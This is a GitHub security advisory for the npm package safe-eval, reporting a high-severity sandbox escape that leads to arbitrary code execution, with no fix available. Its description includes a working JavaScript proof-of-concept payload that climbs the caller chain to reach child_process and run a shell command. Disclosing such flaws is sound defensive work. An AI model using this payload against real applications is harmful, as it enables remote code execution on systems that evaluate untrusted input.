GitHub Advisoryadvisory · npm
GHSA-9pcf-h8q9-63f6 Sandbox Breakout / Arbitrary Code Execution in safe-eval
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- safe-eval
- Severity
- High
- Reviewed
- 2020-08-31
Affected packages
• npm safe-eval: >= 0.0.0 (no fix yet)
Description
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
```
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.